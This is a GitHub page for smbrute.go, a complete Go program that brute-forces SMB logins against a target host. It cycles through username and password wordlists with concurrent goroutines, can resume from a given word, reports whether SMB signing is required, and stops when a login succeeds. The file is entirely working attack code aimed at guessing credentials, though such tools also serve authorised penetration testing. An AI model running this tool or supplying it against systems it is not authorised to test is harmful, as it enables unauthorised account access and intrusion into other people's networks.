-
Notifications
You must be signed in to change notification settings - Fork 5
/
smbrute.go
140 lines (118 loc) · 2.97 KB
/
smbrute.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
package main
import (
"bufio"
"flag"
"fmt"
"log"
"os"
"github.com/stacktitan/smb/smb"
)
func end(msg string) {
fmt.Println(msg)
os.Exit(1)
}
func check(err error, msg string) {
if err != nil {
end(msg)
}
}
func trySMB(host string, port int, domain string, login string, passw string, debug bool) {
options := smb.Options{
Host: host,
Port: port,
User: login,
Domain: domain,
Workstation: "",
Password: passw,
}
session, err := smb.NewSession(options, debug)
if err != nil {
log.Printf("%s:%s [!] %v\n", login, passw, err)
return
}
defer session.Close()
if session.IsSigningRequired {
log.Printf("%s:%s [-] Signing is required", login, passw)
} else {
log.Printf("%s:%s [+] Signing is NOT required", login, passw)
}
if session.IsAuthenticated {
log.Printf("%s:%s [+] Login successful", login, passw)
os.Exit(1)
} else {
log.Printf("%s:%s [-] Login failed", login, passw)
}
if err != nil {
log.Printf("%s:%s [!] %v", login, passw, err)
}
}
func loadWordlist(wordlist string, c chan string, cont string) {
var w string
doCont := false
file, err := os.Open(wordlist)
check(err, "Can't load the wordlist")
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
if cont != "" {
w = scanner.Text()
if doCont {
c <- w
} else {
if w == cont {
doCont = true
}
}
} else {
c <- scanner.Text()
}
}
//c <- "[EOF1337]"
close(c)
fmt.Println("Wordlist completed.")
}
func wait() {
var i int
fmt.Printf("Scanning, press enter to interrupt.\n")
fmt.Scanf("%d", &i)
fmt.Printf("interrupted.")
}
func main() {
var host *string = flag.String("h", "", "target host")
var domain *string = flag.String("d", "localhost", "domain name")
var login *string = flag.String("l", "administrator", "user name")
var loginList *string = flag.String("L", "", "login wordlist file")
var passw *string = flag.String("p", "", "password")
var passwList *string = flag.String("P", "", "password wordlist file")
var port *int = flag.Int("port", 445, "the smb port")
var debug *bool = flag.Bool("v", false, "verbose")
var goroutines *int = flag.Int("go", 1, "num of concurrent goroutines")
var cont *string = flag.String("c", "", "continue from specific word")
flag.Parse()
if *host == "" || (*passw == "" && *passwList == "") {
end("try --help")
}
loginChan := make(chan string, 6)
passwChan := make(chan string, 6)
if *loginList != "" {
go loadWordlist(*loginList, loginChan, "")
} else {
loginChan <- *login
}
if *passwList != "" {
go loadWordlist(*passwList, passwChan, *cont)
} else {
passwChan <- *passw
}
for i := 0; i < *goroutines; i++ {
go func(host string, port int, domain string, debug bool, login_chan <-chan string, passw_chan <-chan string) {
for l := range login_chan {
for p := range passw_chan {
trySMB(host, port, domain, l, p, debug)
}
}
end("bruteforce finished")
}(*host, *port, *domain, *debug, loginChan, passwChan)
}
wait()
}